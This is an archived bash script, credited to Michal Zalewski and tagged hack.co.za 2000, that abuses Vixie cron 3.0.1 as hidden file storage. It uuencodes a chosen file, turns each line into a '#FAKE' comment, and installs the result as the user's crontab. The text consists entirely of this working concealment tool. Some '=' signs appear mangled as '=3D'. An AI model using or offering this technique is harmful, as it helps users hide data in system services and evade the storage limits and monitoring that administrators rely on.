home *** CD-ROM | disk | FTP | other *** search
- #!/bin/bash
-
- echo "Vixie cron 3.0.1 file storage - put utlility"
- echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
- echo
-
- if [ "$1" =3D "" ]; then
- echo usage: $0 file_to_hide
- echo
- exit 0
- fi
-
- if [ ! "`ulimit`" =3D "unlimited" ]; then
- echo Warning, filesize limit is set to `ulimit`.
- echo
- fi
-
- echo Installing fake crontab...
- echo
- echo "* * * * * # whoops..." >vix_tmp
- uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp
- crontab vix_tmp
- echo "Thank you, file stored successfully."
-
- # www.hack.co.za [2000]#